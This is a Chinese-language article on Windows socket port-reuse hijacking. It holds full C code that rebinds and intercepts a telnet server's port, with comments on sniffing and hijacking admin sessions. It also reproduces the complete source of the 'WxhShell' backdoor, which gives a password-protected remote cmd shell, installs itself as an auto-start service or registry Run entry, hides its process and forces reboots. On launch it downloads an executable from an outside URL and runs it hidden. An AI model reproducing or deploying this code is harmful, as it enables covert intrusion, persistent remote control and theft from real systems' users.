1. 程式人生 > >埠複用技術與實現程式碼

埠複用技術與實現程式碼

在WINDOWS的SOCKET伺服器應用的程式設計中,如下的語句或許比比都是: 
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

  saddr.sin_family = AF_INET;

  saddr.sin_addr.s_addr = htonl(INADDR_ANY);

  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

  其實這當中存在在非常大的安全隱患,因為在winsock的實現中,對於伺服器的繫結是可以多重繫結的,在確定多重繫結使用誰的時候,根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有許可權之分,也就是說低階許可權的使用者是可以重繫結在高階許可權如服務啟動的埠上的,這是非常重大的一個安全隱患。

  這意味著什麼?意味著可以進行如下的攻擊:

  1。一個木馬繫結到一個已經合法存在的埠上進行埠的隱藏,他通過自己特定的包格式判斷是不是自己的包,如果是自己處理,如果不是通過127.0.0.1的地址交給真正的伺服器應用進行處理。

  2。一個木馬可以在低許可權使用者上繫結高許可權的服務應用的埠,進行該處理資訊的嗅探,本來在一個主機上監聽一個SOCKET的通訊需要具備非常高的許可權要求,但其實利用SOCKET重繫結,你可以輕易的監聽具備這種SOCKET程式設計漏洞的通訊,而無須採用什麼掛接,鉤子或低層的驅動技術(這些都需要具備管理員許可權才能達到)

  3。針對一些的特殊應用,可以發起中間人攻擊,從低許可權使用者上獲得資訊或事實欺騙,如在guest許可權下攔截telnet伺服器的23埠,如果是採用NTLM加密認證,雖然你無法通過嗅探直接獲取密碼,但一旦有admin使用者通過你登陸以後,你的應用就完全可以發起中間人攻擊,扮演這個登陸的使用者通過SOCKET傳送高許可權的命令,到達入侵的目的。

  4.對於構建的WEB伺服器,入侵者只需要獲得低階的許可權,就可以完全達到更改網頁目的,很簡單,扮演你的伺服器給予連線請求以其他資訊的應答,甚至是基於電子商務上的欺騙,獲取非法的資料。 

  其實,MS自己的很多服務的SOCKET程式設計都存在這樣的問題,telnet,ftp,http的服務實現全部都可以利用這種方法進行攻擊,在低許可權使用者上實現對SYSTEM應用的截聽。包括W2K+SP3的IIS也都一樣,那麼如果你已經可以以低許可權使用者入侵或木馬植入的話,而且對方又開啟了這些服務的話,那就不妨一試。並且我估計還有很多第三方的服務也大多存在這個漏洞。

  解決的方法很簡單,在編寫如上應用的時候,繫結前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求獨佔所有的埠地址,而不允許複用。這樣其他人就無法複用這個埠了。

  下面就是一個簡單的截聽ms telnet伺服器的例子,在GUEST使用者下都能成功進行截聽,剩餘的就是大家根據自己的需要,進行一些特殊剪裁的問題了:如是隱藏,嗅探資料,高許可權使用者欺騙等。

  #include 
  #include 
  #include 
  #include    
  DWORD WINAPI ClientThread(LPVOID lpParam);   
  int main() 
  { 
  WORD wVersionRequested; 
  DWORD ret; 
  WSADATA wsaData; 
  BOOL val; 
  SOCKADDR_IN saddr; 
  SOCKADDR_IN scaddr; 
  int err; 
  SOCKET s; 
  SOCKET sc; 
  int caddsize; 
  HANDLE mt; 
  DWORD tid;   
  wVersionRequested = MAKEWORD( 2, 2 ); 
  err = WSAStartup( wVersionRequested, &wsaData ); 
  if ( err != 0 ) { 
  printf("error!WSAStartup failed!\n"); 
  return -1; 
  } 
  saddr.sin_family = AF_INET; 
   
  //截聽雖然也可以將地址指定為INADDR_ANY,但是要不能影響正常應用情況下,應該指定具體的IP,留下127.0.0.1給正常的服務應用,然後利用這個地址進行轉發,就可以不影響對方正常應用了

  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 
  saddr.sin_port = htons(23); 
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 
  { 
  printf("error!socket failed!\n"); 
  return -1; 
  } 
  val = TRUE; 
  //SO_REUSEADDR選項就是可以實現埠重繫結的 
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 
  { 
  printf("error!setsockopt failed!\n"); 
  return -1; 
  } 
  //如果指定了SO_EXCLUSIVEADDRUSE,就不會繫結成功,返回無許可權的錯誤程式碼; 
  //如果是想通過重利用埠達到隱藏的目的,就可以動態的測試當前已繫結的埠哪個可以成功,就說明具備這個漏洞,然後動態利用埠使得更隱蔽 
  //其實UDP埠一樣可以這樣重繫結利用,這兒主要是以TELNET服務為例子進行攻擊

  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 
  { 
  ret=GetLastError(); 
  printf("error!bind failed!\n"); 
  return -1; 
  } 
  listen(s,2); 
  while(1) 
  { 
  caddsize = sizeof(scaddr); 
  //接受連線請求 
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 
  if(sc!=INVALID_SOCKET) 
  { 
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 
  if(mt==NULL) 
  { 
  printf("Thread Creat Failed!\n"); 
  break; 
  } 
  } 
  CloseHandle(mt); 
  } 
  closesocket(s); 
  WSACleanup(); 
  return 0; 
  }   
  DWORD WINAPI ClientThread(LPVOID lpParam) 
  { 
  SOCKET ss = (SOCKET)lpParam; 
  SOCKET sc; 
  unsigned char buf[4096]; 
  SOCKADDR_IN saddr; 
  long num; 
  DWORD val; 
  DWORD ret; 
  //如果是隱藏埠應用的話,可以在此處加一些判斷 
  //如果是自己的包,就可以進行一些特殊處理,不是的話通過127.0.0.1進行轉發   
  saddr.sin_family = AF_INET; 
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
  saddr.sin_port = htons(23); 
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 
  { 
  printf("error!socket failed!\n"); 
  return -1; 
  } 
  val = 100; 
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 
  { 
  ret = GetLastError(); 
  return -1; 
  } 
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 
  { 
  ret = GetLastError(); 
  return -1; 
  } 
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 
  { 
  printf("error!socket connect failed!\n"); 
  closesocket(sc); 
  closesocket(ss); 
  return -1; 
  } 
  while(1) 
  { 
  //下面的程式碼主要是實現通過127。0。0。1這個地址把包轉發到真正的應用上,並把應答的包再轉發回去。 
  //如果是嗅探內容的話,可以再此處進行內容分析和記錄 
  //如果是攻擊如TELNET伺服器,利用其高許可權登陸使用者的話,可以分析其登陸使用者,然後利用傳送特定的包以劫持的使用者身份執行。 
  num = recv(ss,buf,4096,0); 
  if(num>0) 
  send(sc,buf,num,0); 
  else if(num==0) 
  break; 
  num = recv(sc,buf,4096,0); 
  if(num>0) 
  send(ss,buf,num,0); 
  else if(num==0) 
  break; 
  } 
  closesocket(ss); 
  closesocket(sc); 
  return 0 ; 
  }


==========================================================

下邊附上一個程式碼,,WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER     100 // 最大客戶端連線數
#define BUF_SOCK     200 // sock buffer
#define KEY_BUFF     255 // 輸入 buffer

#define REBOOT       0    // 重啟
#define SHUTDOWN     1    // 關機

#define DEF_PORT     5000 // 監聽埠

#define REG_LEN      16   // 登錄檔鍵長度
#define SVC_LEN      80   // NT服務名長度

// 從dll定義API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置資訊
struct WSCFG {
    int ws_port;             // 監聽埠
    char ws_passstr[REG_LEN]; // 口令
    int ws_autoins;          // 安裝標記, 1=yes 0=no
    char ws_regname[REG_LEN]; // 登錄檔鍵名
    char ws_svcname[REG_LEN]; // 服務名
    char ws_svcdisp[SVC_LEN]; // 服務顯示名
    char ws_svcdesc[SVC_LEN]; // 服務描述資訊
    char ws_passmsg[SVC_LEN]; // 密碼輸入提示資訊
int ws_downexe;          // 下載執行標記, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下載檔案的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下載後儲存的檔名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
        "xuhuanlingzhe",
        1,
        "Wxhshell",
        "Wxhshell",
                    "WxhShell Service",
        "Wrsky Windows CmdShell Service",
        "Please Input Your Password: ",
     1,
     "http://www.wrsky.com/wxhshell.exe",
     "Wxhshell.exe"
       };

// 訊息定義模組
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虛幻靈者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS          serviceStatus;
SERVICE_STATUS_HANDLE   hServiceStatusHandle;

// 函式宣告
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 資料結構和表定義
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安裝
int Install(void)
{
    char svExeFile[MAX_PATH];
    HKEY key;
    strcpy(svExeFile,ExeFile);

// 如果是win9x系統,修改登錄檔設為自啟動
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
   RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
   RegCloseKey(key);
   if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
    RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
    RegCloseKey(key);
    return 0;
      }
     }
}
else {

// 如果是NT以上系統,安裝為系統服務
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
   SC_HANDLE schService = CreateService
   (
    schSCManager,
    wscfg.ws_svcname,
    wscfg.ws_svcdisp,
    SERVICE_ALL_ACCESS,
    SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
    SERVICE_AUTO_START,
    SERVICE_ERROR_NORMAL,
    svExeFile,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
   );
   if (schService!=0)
   {
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
    strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
    strcat(svExeFile,wscfg.ws_svcname);
    if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
     RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
     RegCloseKey(key);
     return 0;
       }
   }
   CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我解除安裝
int Uninstall(void)
{
    HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
   RegDeleteValue(key,wscfg.ws_regname);
   RegCloseKey(key);
   if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
    RegDeleteValue(key,wscfg.ws_regname);
    RegCloseKey(key);
    return 0;
   }
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
   SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
   if (schService!=0)
   {
    if(DeleteService(schService)!=0) {
     CloseServiceHandle(schService);
     CloseServiceHandle(schSCManager);
     return 0;
    }
    CloseServiceHandle(schService);
   }
   CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 從指定url下載檔案
int DownloadFile(char *sURL, SOCKET wsh)
{
    HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
    token=strtok(myURL,seps);
   while(token!=NULL)
    {
        file=token;
     token=strtok(NULL,seps);
    }

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
    send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
    if(hr==S_OK)
return 0;
else
return 1;

}

// 系統電源模組
int Boot(int flag)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    if(OsIsNt) {
     OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
        LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
   if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
    return 0;
}
else {
   if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
    return 0;
}
    }
    else {
if(flag==REBOOT) {
   if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
    return 0;
}
else {
   if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
    return 0;
}
}

return 1;
}

// win9x程序隱藏模組
void HideProc(void)
{

    HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
    if ( hKernel != NULL )
    {
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
        ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
        FreeLibrary(hKernel);
    }

return;
}

// 獲取作業系統版本
int GetOsVer(void)
{
    OSVERSIONINFO winfo;
    winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
    GetVersionEx(&winfo);
    if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
     return 1;
    else
     return 0;
}

// 客戶端控制代碼模組
int Wxhshell(SOCKET wsl)
{
    SOCKET wsh;
    struct sockaddr_in client;
    DWORD myID;

    while(nUser<MAX_USER)
{
     int nSize=sizeof(client);
        wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
     if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
   closesocket(wsh);
else
   nUser++;
    }
    WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

    return 0;
}

// 關閉 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客戶端請求控制代碼
void TalkWithClient(void *cs)
{

    SOCKET wsh=(SOCKET)cs;
    char pwd[SVC_LEN];
    char cmd[KEY_BUFF];
char chr[1];
int i,j;

    while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
   if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
           //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
   //ZeroMemory(pwd,KEY_BUFF);
         i=0;
   while(i<SVC_LEN) {

    // 設定超時
    fd_set FdRead;
    struct timeval TimeOut;
    FD_ZERO(&FdRead);
    FD_SET(wsh,&FdRead);
    TimeOut.tv_sec=8;
    TimeOut.tv_usec=0;
    int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
    if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

    if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
    pwd[i]=chr[0];
    if(chr[0]==0xd || chr[0]==0xa) {
     pwd[i]=0;
     break;
    }
    i++;
      }

   // 如果是非法使用者,關閉 socket
            if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
}

send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
     send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);

while(1) {

   ZeroMemory(cmd,KEY_BUFF);

         // 自動支援客戶端 telnet標準   
   j=0;
   while(j<KEY_BUFF) {
    if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
    cmd[j]=chr[0];
    if(chr[0]==0xa || chr[0]==0xd) {
     cmd[j]=0;
     break;
    }
    j++;
      }

   // 下載檔案
   if(strstr(cmd,"http://")) {
    send(wsh,msg_ws_down,strlen(msg_ws_down),0);
    if(DownloadFile(cmd,wsh))
     send(wsh,msg_ws_err,strlen(msg_ws_err),0);
    else
     send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
   }
   else {

       switch(cmd[0]) {
     
     // 幫助
     case '?': {
           send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
      break;
     }
     // 安裝
     case 'i': {
      if(Install())
       send(wsh,msg_ws_err,strlen(msg_ws_err),0);
      else
       send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
      break;
        }
     // 解除安裝
     case 'r': {
      if(Uninstall())
       send(wsh,msg_ws_err,strlen(msg_ws_err),0);
      else
       send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
      break;
        }
     // 顯示 wxhshell 所在路徑
     case 'p': {
      char svExeFile[MAX_PATH];
      strcpy(svExeFile,"\n\r");
         strcat(svExeFile,ExeFile);
            send(wsh,svExeFile,strlen(svExeFile),0);
      break;
        }
     // 重啟
     case 'b': {
      send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
      if(Boot(REBOOT))
       send(wsh,msg_ws_err,strlen(msg_ws_err),0);
      else {
       closesocket(wsh);
       ExitThread(0);
      }
      break;
        }
     // 關機
     case 'd': {
      send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
      if(Boot(SHUTDOWN))
       send(wsh,msg_ws_err,strlen(msg_ws_err),0);
      else {
       closesocket(wsh);
       ExitThread(0);
      }
      break;
        }
     // 獲取shell
     case 's': {
      CmdShell(wsh);
      closesocket(wsh);
      ExitThread(0);
      break;
     }
     // 退出
     case 'x': {
      send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
      CloseIt(wsh);
      break;
        }
     // 離開
     case 'q': {
      send(wsh,msg_ws_end,strlen(msg_ws_end),0);
      closesocket(wsh);
      WSACleanup();
      exit(1);
      break;
              }
    }
   }

   // 提示資訊
      if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
}
    }

    return;
}

// shell模組控制代碼
int CmdShell(SOCKET sock)
{
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
PROCESS_INFORMATION ProcessInfo;
char cmdline[]="cmd";
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
    return 0;
}

// 自身啟動模式
int StartFromService(void)
{
typedef struct
{
     DWORD ExitStatus;
     DWORD PebBaseAddress;
     DWORD AffinityMask;
     DWORD BasePriority;
     ULONG UniqueProcessId;
     ULONG InheritedFromUniqueProcessId;
}   PROCESS_BASIC_INFORMATION;

PROCNTQSIP NtQueryInformationProcess;

static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;

    HANDLE                    hProcess;
    PROCESS_BASIC_INFORMATION pbi;

    HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
    if(NULL == hInst ) return 0;

    g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
    g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
    NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");

    if (!NtQueryInformationProcess) return 0;

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
    if(!hProcess) return 0;

    if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;

    CloseHandle(hProcess);

hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
if(hProcess==NULL) return 0;

HMODULE hMod;
char procName[255];
unsigned long cbNeeded;

if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));

    CloseHandle(hProcess);

if(strstr(procName,"services")) return 1; // 以服務啟動

    return 0; // 登錄檔啟動
}

// 主模組
int StartWxhshell(LPSTR lpCmdLine)
{
    SOCKET wsl;
BOOL val=TRUE;
    int port=0;
    struct sockaddr_in door;

    if(wscfg.ws_autoins) Install();

port=atoi(lpCmdLine);

if(port<=0) port=wscfg.ws_port;

    WSADATA data;
    if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;

    if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;     
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
    door.sin_family = AF_INET;
    door.sin_addr.s_addr = inet_addr("127.0.0.1");
    door.sin_port = htons(port);

    if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
closesocket(wsl);
return 1;
}

    if(listen(wsl,2) == INVALID_SOCKET) {
closesocket(wsl);
return 1;
}
    Wxhshell(wsl);
    WSACleanup();

return 0;

}

// 以NT服務方式啟動
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
{
DWORD   status = 0;
    DWORD   specificError = 0xfffffff;

    serviceStatus.dwServiceType        = SERVICE_WIN32;
    serviceStatus.dwCurrentState       = SERVICE_START_PENDING;
    serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
    serviceStatus.dwWin32ExitCode      = 0;
    serviceStatus.dwServiceSpecificExitCode = 0;
    serviceStatus.dwCheckPoint         = 0;
    serviceStatus.dwWaitHint           = 0;

    hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
    if (hServiceStatusHandle==0) return;

status = GetLastError();
    if (status!=NO_ERROR)
{
        serviceStatus.dwCurrentState       = SERVICE_STOPPED;
        serviceStatus.dwCheckPoint         = 0;
        serviceStatus.dwWaitHint           = 0;
        serviceStatus.dwWin32ExitCode      = status;
        serviceStatus.dwServiceSpecificExitCode = specificError;
        SetServiceStatus(hServiceStatusHandle, &serviceStatus);
        return;
    }

    serviceStatus.dwCurrentState       = SERVICE_RUNNING;
    serviceStatus.dwCheckPoint         = 0;
    serviceStatus.dwWaitHint           = 0;
    if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
}

// 處理NT服務事件,比如:啟動、停止
VOID WINAPI NTServiceHandler(DWORD fdwControl)
{
switch(fdwControl)
{
case SERVICE_CONTROL_STOP:
   serviceStatus.dwWin32ExitCode = 0;
   serviceStatus.dwCurrentState = SERVICE_STOPPED;
   serviceStatus.dwCheckPoint    = 0;
   serviceStatus.dwWaitHint      = 0;
   {
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);
   }
   return;
case SERVICE_CONTROL_PAUSE:
   serviceStatus.dwCurrentState = SERVICE_PAUSED;
   break;
case SERVICE_CONTROL_CONTINUE:
   serviceStatus.dwCurrentState = SERVICE_RUNNING;
   break;
case SERVICE_CONTROL_INTERROGATE:
   break;
};
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}

// 標準應用程式主函式
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{

// 獲取作業系統版本
OsIsNt=GetOsVer();
GetModuleFileName(NULL,ExeFile,MAX_PATH);

    // 從命令列安裝
    if(strpbrk(lpCmdLine,"iI")) Install();

    // 下載執行檔案
if(wscfg.ws_downexe) {
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
   WinExec(wscfg.ws_filenam,SW_HIDE);
}

if(!OsIsNt) {
// 如果時win9x,隱藏程序並且設定為登錄檔啟動
HideProc(); 
StartWxhshell(lpCmdLine);
}
else
     if(StartFromService())
   // 以服務方式啟動
   StartServiceCtrlDispatcher(DispatchTable);
else
   // 普通方式啟動
   StartWxhshell(lpCmdLine);

return 0;
}